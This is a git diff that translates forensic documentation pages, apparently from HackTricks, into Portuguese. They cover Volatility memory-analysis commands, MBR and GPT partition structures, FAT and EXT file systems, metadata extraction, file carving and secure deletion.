 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp
 volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p  -t mutant
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
@@ -811,121 +664,92 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p  -t mutant
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 ### Bash
 
-It's possible to **read from memory the bash history.** You could also dump the _.bash_history_ file, but it was disabled you will be glad you can use this volatility module
+É possível **ler a partir da memória o histórico do bash.** Você também poderia despejar o arquivo _.bash_history_, mas ele foi desativado, você ficará feliz em saber que pode usar este módulo de volatilidade.
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```
 ./vol.py -f file.dmp linux.bash.Bash
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```
 volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-### TimeLine
+### Linha do Tempo
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp timeLiner.TimeLiner
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```
 volatility --profile=Win7SP1x86_23418 -f timeliner
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 ### Drivers
-
-{{#tabs}}
-{{#tab name="vol3"}}
-
 ```
 ./vol.py -f file.dmp windows.driverscan.DriverScan
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-### Get clipboard
-
+### Obter área de transferência
 ```bash
 #Just vol2
 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp
 ```
-
-### Get IE history
-
+### Obter histórico do IE
 ```bash
 #Just vol2
 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp
 ```
-
-### Get notepad text
-
+### Obter texto do notepad
 ```bash
 #Just vol2
 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp
 ```
-
-### Screenshot
-
+### Captura de tela
 ```bash
 #Just vol2
 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp
 ```
-
 ### Master Boot Record (MBR)
-
 ```bash
 volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp
 ```
+O **Master Boot Record (MBR)** desempenha um papel crucial na gestão das partições lógicas de um meio de armazenamento, que são estruturadas com diferentes [file systems](https://en.wikipedia.org/wiki/File_system). Ele não apenas contém informações sobre o layout das partições, mas também inclui código executável que atua como um carregador de inicialização. Este carregador de inicialização inicia diretamente o processo de carregamento de segunda fase do SO (veja [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) ou trabalha em harmonia com o [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) de cada partição. Para um conhecimento mais aprofundado, consulte a [página do MBR na Wikipedia](https://en.wikipedia.org/wiki/Master_boot_record).
 
-The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record).
-
-## References
+## Referências
 
 - [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)
 - [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html)
@@ -933,10 +757,4 @@ The **Master Boot Record (MBR)** plays a crucial role in managing the logical pa
 - [https://www.aldeid.com/wiki/Windows-userassist-keys](https://www.aldeid.com/wiki/Windows-userassist-keys) ​\* [https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table)
 - [https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa](https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa)
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md
index 9ac27c92e..26a434909 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md
@@ -1,147 +1,145 @@
-# Partitions/File Systems/Carving
+# Partições/Sistemas de Arquivos/Carving
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Partitions
+## Partições
 
-A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\
-The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size.
+Um disco rígido ou um **SSD pode conter diferentes partições** com o objetivo de separar dados fisicamente.\
+A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Portanto, cada tamanho de partição precisa ser múltiplo desse tamanho.
 
 ### MBR (master Boot Record)
 
-It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\
-It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\
-MBR allows **max 2.2TB**.
+Ele é alocado no **primeiro setor do disco após os 446B do código de inicialização**. Este setor é essencial para indicar ao PC o que e de onde uma partição deve ser montada.\
+Permite até **4 partições** (no máximo **apenas 1** pode ser ativa/**inicializável**). No entanto, se você precisar de mais partições, pode usar **partições estendidas**. O **último byte** deste primeiro setor é a assinatura do registro de inicialização **0x55AA**. Apenas uma partição pode ser marcada como ativa.\
+MBR permite **máx 2.2TB**.
 
 ![](<../../../images/image (350).png>)
 
 ![](<../../../images/image (304).png>)
 
-From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
+Dos **bytes 440 a 443** do MBR, você pode encontrar a **Assinatura do Disco do Windows** (se o Windows estiver em uso). A letra da unidade lógica do disco rígido depende da Assinatura do Disco do Windows. Alterar essa assinatura pode impedir o Windows de inicializar (ferramenta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
 
 ![](<../../../images/image (310).png>)
 
-**Format**
+**Formato**
 
-| Offset      | Length     | Item                |
-| ----------- | ---------- | ------------------- |
-| 0 (0x00)    | 446(0x1BE) | Boot code           |
-| 446 (0x1BE) | 16 (0x10)  | First Partition     |
-| 462 (0x1CE) | 16 (0x10)  | Second Partition    |
-| 478 (0x1DE) | 16 (0x10)  | Third Partition     |
-| 494 (0x1EE) | 16 (0x10)  | Fourth Partition    |
-| 510 (0x1FE) | 2 (0x2)    | Signature 0x55 0xAA |
+| Offset      | Comprimento | Item                |
+| ----------- | ----------- | ------------------- |
+| 0 (0x00)    | 446(0x1BE)  | Código de inicialização           |
+| 446 (0x1BE) | 16 (0x10)   | Primeira Partição     |
+| 462 (0x1CE) | 16 (0x10)   | Segunda Partição    |
+| 478 (0x1DE) | 16 (0x10)   | Terceira Partição     |
+| 494 (0x1EE) | 16 (0x10)   | Quarta Partição    |
+| 510 (0x1FE) | 2 (0x2)     | Assinatura 0x55 0xAA |
 
-**Partition Record Format**
+**Formato do Registro da Partição**
 
-| Offset    | Length   | Item                                                   |
-| --------- | -------- | ------------------------------------------------------ |
-| 0 (0x00)  | 1 (0x01) | Active flag (0x80 = bootable)                          |
-| 1 (0x01)  | 1 (0x01) | Start head                                             |
-| 2 (0x02)  | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) |
-| 3 (0x03)  | 1 (0x01) | Start cylinder lowest 8 bits                           |
-| 4 (0x04)  | 1 (0x01) | Partition type code (0x83 = Linux)                     |
-| 5 (0x05)  | 1 (0x01) | End head                                               |
-| 6 (0x06)  | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7)   |
-| 7 (0x07)  | 1 (0x01) | End cylinder lowest 8 bits                             |
-| 8 (0x08)  | 4 (0x04) | Sectors preceding partition (little endian)            |
-| 12 (0x0C) | 4 (0x04) | Sectors in partition                                   |
+| Offset    | Comprimento | Item                                                   |
+| --------- | ----------- | ------------------------------------------------------ |
+| 0 (0x00)  | 1 (0x01)   | Sinalizador ativo (0x80 = inicializável)                          |
+| 1 (0x01)  | 1 (0x01)   | Cabeça de início                                             |
+| 2 (0x02)  | 1 (0x01)   | Setor de início (bits 0-5); bits superiores do cilindro (6- 7) |
+| 3 (0x03)  | 1 (0x01)   | Cilindro de início, 8 bits mais baixos                           |
+| 4 (0x04)  | 1 (0x01)   | Código do tipo de partição (0x83 = Linux)                     |
+| 5 (0x05)  | 1 (0x01)   | Cabeça de fim                                               |
+| 6 (0x06)  | 1 (0x01)   | Setor de fim (bits 0-5); bits superiores do cilindro (6- 7)   |
+| 7 (0x07)  | 1 (0x01)   | Cilindro de fim, 8 bits mais baixos                             |
+| 8 (0x08)  | 4 (0x04)   | Setores precedendo a partição (little endian)            |
+| 12 (0x0C) | 4 (0x04)   | Setores na partição                                   |
 
-In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command)
+Para montar um MBR no Linux, você primeiro precisa obter o deslocamento de início (você pode usar `fdisk` e o comando `p`)
 
-![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
-
-And then use the following code
+![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
 
+E então use o seguinte código
 ```bash
 #Mount MBR in Linux
 mount -o ro,loop,offset=
 #63x512 = 32256Bytes
 mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
 ```
+**LBA (Endereçamento de bloco lógico)**
 
-**LBA (Logical block addressing)**
+**Endereçamento de bloco lógico** (**LBA**) é um esquema comum usado para **especificar a localização de blocos** de dados armazenados em dispositivos de armazenamento de computador, geralmente sistemas de armazenamento secundário, como discos rígidos. LBA é um esquema de endereçamento linear particularmente simples; **os blocos são localizados por um índice inteiro**, com o primeiro bloco sendo LBA 0, o segundo LBA 1, e assim por diante.
 
-**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on.
+### GPT (Tabela de Partição GUID)
 
-### GPT (GUID Partition Table)
+A Tabela de Partição GUID, conhecida como GPT, é favorecida por suas capacidades aprimoradas em comparação ao MBR (Registro de Inicialização Mestre). Distintiva por seu **identificador único global** para partições, a GPT se destaca de várias maneiras:
 
-The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways:
+- **Localização e Tamanho**: Tanto a GPT quanto a MBR começam no **setor 0**. No entanto, a GPT opera em **64 bits**, contrastando com os 32 bits da MBR.
+- **Limites de Partição**: A GPT suporta até **128 partições** em sistemas Windows e acomoda até **9,4ZB** de dados.
+- **Nomes de Partição**: Oferece a capacidade de nomear partições com até 36 caracteres Unicode.
 
-- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits.
-- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data.
-- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters.
+**Resiliência e Recuperação de Dados**:
 
-**Data Resilience and Recovery**:
+- **Redundância**: Ao contrário da MBR, a GPT não confina os dados de partição e inicialização a um único lugar. Ela replica esses dados em todo o disco, melhorando a integridade e resiliência dos dados.
+- **Verificação de Redundância Cíclica (CRC)**: A GPT emprega CRC para garantir a integridade dos dados. Ela monitora ativamente a corrupção de dados e, quando detectada, a GPT tenta recuperar os dados corrompidos de outra localização no disco.
 
-- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience.
-- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location.
+**MBR Protetora (LBA0)**:
 
-**Protective MBR (LBA0)**:
-
-- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks.
+- A GPT mantém compatibilidade retroativa através de um MBR protetora. Este recurso reside no espaço MBR legado, mas é projetado para evitar que utilitários mais antigos baseados em MBR sobrescrevam acidentalmente discos GPT, protegendo assim a integridade dos dados em discos formatados em GPT.
 
 ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>)
 
-**Hybrid MBR (LBA 0 + GPT)**
+**MBR Híbrido (LBA 0 + GPT)**
 
 [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
 
-In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes.
+Em sistemas operacionais que suportam **inicialização baseada em GPT através de serviços BIOS** em vez de EFI, o primeiro setor também pode ser usado para armazenar a primeira etapa do código do **bootloader**, mas **modificado** para reconhecer **partições GPT**. O bootloader na MBR não deve assumir um tamanho de setor de 512 bytes.
 
-**Partition table header (LBA 1)**
+**Cabeçalho da tabela de partição (LBA 1)**
 
 [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
 
-The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table).
+O cabeçalho da tabela de partição define os blocos utilizáveis no disco. Ele também define o número e o tamanho das entradas de partição que compõem a tabela de partição (offsets 80 e 84 na tabela).
 
 | Offset    | Length   | Contents                                                                                                                                                                     |
 | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| 0 (0x00)  | 8 bytes  | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) |
-| 8 (0x08)  | 4 bytes  | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8                                                                                                                                  |
-| 12 (0x0C) | 4 bytes  | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes)                                                                                                 |
-| 16 (0x10) | 4 bytes  | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation                             |
-| 20 (0x14) | 4 bytes  | Reserved; must be zero                                                                                                                                                       |
-| 24 (0x18) | 8 bytes  | Current LBA (location of this header copy)                                                                                                                                   |
-| 32 (0x20) | 8 bytes  | Backup LBA (location of the other header copy)                                                                                                                               |
-| 40 (0x28) | 8 bytes  | First usable LBA for partitions (primary partition table last LBA + 1)                                                                                                       |
-| 48 (0x30) | 8 bytes  | Last usable LBA (secondary partition table first LBA − 1)                                                                                                                    |
-| 56 (0x38) | 16 bytes | Disk GUID in mixed endian                                                                                                                                                    |
-| 72 (0x48) | 8 bytes  | Starting LBA of an array of partition entries (always 2 in primary copy)                                                                                                     |
-| 80 (0x50) | 4 bytes  | Number of partition entries in array                                                                                                                                         |
-| 84 (0x54) | 4 bytes  | Size of a single partition entry (usually 80h or 128)                                                                                                                        |
-| 88 (0x58) | 4 bytes  | CRC32 of partition entries array in little endian                                                                                                                            |
-| 92 (0x5C) | \*       | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes)                                      |
+| 0 (0x00)  | 8 bytes  | Assinatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)em máquinas little-endian) |
+| 8 (0x08)  | 4 bytes  | Revisão 1.0 (00h 00h 01h 00h) para UEFI 2.8                                                                                                                                  |
+| 12 (0x0C) | 4 bytes  | Tamanho do cabeçalho em little endian (em bytes, geralmente 5Ch 00h 00h 00h ou 92 bytes)                                                                                                 |
+| 16 (0x10) | 4 bytes  | [CRC32](https://en.wikipedia.org/wiki/CRC32) do cabeçalho (offset +0 até o tamanho do cabeçalho) em little endian, com este campo zerado durante o cálculo                             |
+| 20 (0x14) | 4 bytes  | Reservado; deve ser zero                                                                                                                                                       |
+| 24 (0x18) | 8 bytes  | LBA atual (localização desta cópia do cabeçalho)                                                                                                                                   |
+| 32 (0x20) | 8 bytes  | LBA de backup (localização da outra cópia do cabeçalho)                                                                                                                               |
+| 40 (0x28) | 8 bytes  | Primeiro LBA utilizável para partições (último LBA da tabela de partição primária + 1)                                                                                                       |
+| 48 (0x30) | 8 bytes  | Último LBA utilizável (primeiro LBA da tabela de partição secundária − 1)                                                                                                                    |
+| 56 (0x38) | 16 bytes | GUID do disco em endian misto                                                                                                                                                    |
+| 72 (0x48) | 8 bytes  | LBA inicial de um array de entradas de partição (sempre 2 na cópia primária)                                                                                                     |
+| 80 (0x50) | 4 bytes  | Número de entradas de partição no array                                                                                                                                         |
+| 84 (0x54) | 4 bytes  | Tamanho de uma única entrada de partição (geralmente 80h ou 128)                                                                                                                        |
+| 88 (0x58) | 4 bytes  | CRC32 do array de entradas de partição em little endian                                                                                                                            |
+| 92 (0x5C) | \*       | Reservado; deve ser zeros para o restante do bloco (420 bytes para um tamanho de setor de 512 bytes; mas pode ser mais com tamanhos de setor maiores)                                      |
 
-**Partition entries (LBA 2–33)**
+**Entradas de partição (LBA 2–33)**
 
-| GUID partition entry format |          |                                                                                                               |
-| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
-| Offset                      | Length   | Contents                                                                                                      |
-| 0 (0x00)                    | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) |
-| 16 (0x10)                   | 16 bytes | Unique partition GUID (mixed endian)                                                                          |
-| 32 (0x20)                   | 8 bytes  | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian))                                      |
-| 40 (0x28)                   | 8 bytes  | Last LBA (inclusive, usually odd)                                                                             |
-| 48 (0x30)                   | 8 bytes  | Attribute flags (e.g. bit 60 denotes read-only)                                                               |
-| 56 (0x38)                   | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units)                               |
+| Formato de entrada de partição GUID |          |                                                                                                               |
+| ------------------------------------ | -------- | ------------------------------------------------------------------------------------------------------------- |
+| Offset                               | Length   | Contents                                                                                                      |
+| 0 (0x00)                             | 16 bytes | [Tipo de partição GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian misto) |
+| 16 (0x10)                            | 16 bytes | GUID de partição único (endian misto)                                                                          |
+| 32 (0x20)                            | 8 bytes  | Primeiro LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian))                                      |
+| 40 (0x28)                            | 8 bytes  | Último LBA (inclusivo, geralmente ímpar)                                                                             |
+| 48 (0x30)                            | 8 bytes  | Flags de atributo (por exemplo, o bit 60 denota somente leitura)                                                               |
+| 56 (0x38)                            | 72 bytes | Nome da partição (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unidades de código)                               |
 
-**Partitions Types**
+**Tipos de Partições**
 
 ![](<../../../images/image (83).png>)
 
-More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
+Mais tipos de partições em [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
 
-### Inspecting
+### Inspecionando
 
-After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted:
+Após montar a imagem forense com [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), você pode inspecionar o primeiro setor usando a ferramenta do Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na imagem a seguir, um **MBR** foi detectado no **setor 0** e interpretado:
 
 ![](<../../../images/image (354).png>)
 
-If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty).
+Se fosse uma **tabela GPT em vez de um MBR**, deveria aparecer a assinatura _EFI PART_ no **setor 1** (que na imagem anterior está vazio).
 
-## File-Systems
+## Sistemas de Arquivos
 
-### Windows file-systems list
+### Lista de sistemas de arquivos do Windows
 
 - **FAT12/16**: MSDOS, WIN95/98/NT/200
 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@@ -151,49 +149,49 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI
 
 ### FAT
 
-The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process.
+O sistema de arquivos **FAT (Tabela de Alocação de Arquivos)** é projetado em torno de seu componente central, a tabela de alocação de arquivos, posicionada no início do volume. Este sistema protege os dados mantendo **duas cópias** da tabela, garantindo a integridade dos dados mesmo se uma estiver corrompida. A tabela, juntamente com a pasta raiz, deve estar em uma **localização fixa**, crucial para o processo de inicialização do sistema.
 
-The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions:
+A unidade básica de armazenamento do sistema de arquivos é um **cluster, geralmente 512B**, composto por vários setores. O FAT evoluiu através de versões:
 
-- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX).
-- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters.
-- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume.
+- **FAT12**, suportando endereços de cluster de 12 bits e lidando com até 4078 clusters (4084 com UNIX).
+- **FAT16**, aprimorando para endereços de 16 bits, acomodando assim até 65.517 clusters.
+- **FAT32**, avançando ainda mais com endereços de 32 bits, permitindo impressionantes 268.435.456 clusters por volume.
 
-A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage.
+Uma limitação significativa em todas as versões do FAT é o **tamanho máximo de arquivo de 4GB**, imposto pelo campo de 32 bits usado para armazenamento do tamanho do arquivo.
 
-Key components of the root directory, particularly for FAT12 and FAT16, include:
+Os componentes principais do diretório raiz, particularmente para FAT12 e FAT16, incluem:
 
-- **File/Folder Name** (up to 8 characters)
-- **Attributes**
-- **Creation, Modification, and Last Access Dates**
-- **FAT Table Address** (indicating the start cluster of the file)
-- **File Size**
+- **Nome do Arquivo/Pasta** (até 8 caracteres)
+- **Atributos**
+- **Datas de Criação, Modificação e Último Acesso**
+- **Endereço da Tabela FAT** (indicando o cluster inicial do arquivo)
+- **Tamanho do Arquivo**
 
 ### EXT
 
-**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**.
+**Ext2** é o sistema de arquivos mais comum para **partições que não fazem journaling** (**partições que não mudam muito**) como a partição de inicialização. **Ext3/4** são **journaling** e são usados geralmente para as **demais partições**.
 
-## **Metadata**
+## **Metadados**
 
-Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like:
+Alguns arquivos contêm metadados. Essas informações são sobre o conteúdo do arquivo que às vezes podem ser interessantes para um analista, pois dependendo do tipo de arquivo, pode conter informações como:
 
-- Title
-- MS Office Version used
-- Author
-- Dates of creation and last modification
-- Model of the camera
-- GPS coordinates
-- Image information
+- Título
+- Versão do MS Office utilizada
+- Autor
+- Datas de criação e última modificação
+- Modelo da câmera
+- Coordenadas GPS
+- Informações da imagem
 
-You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file.
+Você pode usar ferramentas como [**exiftool**](https://exiftool.org) e [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obter os metadados de um arquivo.
 
-## **Deleted Files Recovery**
+## **Recuperação de Arquivos Excluídos**
 
-### Logged Deleted Files
+### Arquivos Excluídos Registrados
 
-As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files.
+Como foi visto anteriormente, há vários lugares onde o arquivo ainda está salvo após ter sido "excluído". Isso ocorre porque geralmente a exclusão de um arquivo de um sistema de arquivos apenas o marca como excluído, mas os dados não são tocados. Assim, é possível inspecionar os registros dos arquivos (como o MFT) e encontrar os arquivos excluídos.
 
-Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible.
+Além disso, o sistema operacional geralmente salva muitas informações sobre alterações no sistema de arquivos e backups, então é possível tentar usá-las para recuperar o arquivo ou o máximo de informações possível.
 
 {{#ref}}
 file-data-carving-recovery-tools.md
@@ -201,31 +199,31 @@ file-data-carving-recovery-tools.md
 
 ### **File Carving**
 
-**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself.
+**File carving** é uma técnica que tenta **encontrar arquivos na massa de dados**. Existem 3 maneiras principais pelas quais ferramentas como essa funcionam: **Baseadas em cabeçalhos e rodapés de tipos de arquivo**, baseadas em **estruturas** de tipos de arquivo e baseadas no **conteúdo** em si.
 
-Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it.
+Observe que essa técnica **não funciona para recuperar arquivos fragmentados**. Se um arquivo **não estiver armazenado em setores contíguos**, então essa técnica não será capaz de encontrá-lo ou pelo menos parte dele.
 
-There are several tools that you can use for file Carving indicating the file types you want to search for
+Existem várias ferramentas que você pode usar para file carving indicando os tipos de arquivo que deseja pesquisar.
 
 {{#ref}}
 file-data-carving-recovery-tools.md
 {{#endref}}
 
-### Data Stream **C**arving
+### Carving de Fluxo de Dados
 
-Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\
-For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs.
+Carving de Fluxo de Dados é semelhante ao File Carving, mas **em vez de procurar arquivos completos, procura fragmentos interessantes** de informação.\
+Por exemplo, em vez de procurar um arquivo completo contendo URLs registradas, essa técnica irá procurar por URLs.
 
 {{#ref}}
 file-data-carving-recovery-tools.md
 {{#endref}}
 
-### Secure Deletion
+### Exclusão Segura
 
-Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\
-You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them.
+Obviamente, existem maneiras de **"excluir com segurança" arquivos e parte dos logs sobre eles**. Por exemplo, é possível **sobrescrever o conteúdo** de um arquivo com dados aleatórios várias vezes e, em seguida, **remover** os **logs** do **$MFT** e **$LOGFILE** sobre o arquivo, e **remover as Cópias de Sombra do Volume**.\
+Você pode notar que mesmo realizando essa ação, pode haver **outras partes onde a existência do arquivo ainda está registrada**, e isso é verdade, e parte do trabalho do profissional de forense é encontrá-las.
 
-## References
+## Referências
 
 - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
 - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index 1920c497a..0770ac097 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
